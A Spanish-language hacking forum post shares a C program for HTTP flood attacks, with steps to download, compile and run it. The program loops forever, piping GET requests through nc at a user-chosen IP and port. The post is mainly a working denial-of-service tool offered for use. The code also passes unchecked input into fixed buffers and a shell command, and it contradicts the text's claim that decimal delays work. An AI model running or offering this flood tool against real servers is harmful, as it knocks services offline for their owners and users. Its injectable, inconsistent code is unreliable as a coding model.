Como bien dice el título es un script para hacer ataques de flood por medio de peticiones http podeis encontrar el script en github https://github.com/v4char/HTTP-Flood (https://github.com/v4char/HTTP-Flood) tambien lo pegaré aquí pero por github lo ire actualizando.
Probadon en Kali y Freebsd
http-flood.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char host[21],archivo[201],comando[651];
int puerto,n_con,i,esperar;
printf("IP: ");
fflush(stdout);
scanf("%s", host);
printf("Puerto: ");
fflush(stdout);
scanf("%i", &puerto);
printf("Archivo(en/img/index.php): ");
fflush(stdout);
scanf("%s", archivo);
printf("Threads: ");
fflush(stdout);
scanf("%i", &n_con);
printf("Delay en segundos: ");
fflush(stdout);
scanf("%i", &esperar);
sprintf(comando, "echo \"GET /%s\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\" | nc %s %i -r > NUL &", archivo, host, puerto);
while (1)
{
i=0;
for(i=0;i<n_con;i++)
{
fflush(stdout);
system(comando);
system("echo \"\" > NUL &");
printf("=");
system("rm -f NUL &");
}
printf("\n");
sleep(esperar);
}
return 0;
}
Para descargalo
wget https://raw.githubusercontent.com/v4char/HTTP-Flood/master/http-flood.c
Lo primero es compilarlo
gcc http-flood.c -o http-flood
Ahora le damos permisos de ejecución (no suele ser necesario)
chmod +x http-flood
Y ejecutamos el programa
./http-flood
Ahora nos pedira una IP luego el puerto luego un archivo puede ser el index.html o index.php por ejemplo luego cuantos hilos y por ultimo el delay
En el delay se admiten numeros decimales como por ejemplo 0.5 ojo es un punto no una coma y si no quieres delay pon un 0
Si teneis alguna idea o problema decirmelo.
Fuente:https://foro.hackxcrack.net/hacking/script-para-hacer-http-flood/ (https://foro.hackxcrack.net/hacking/script-para-hacer-http-flood/)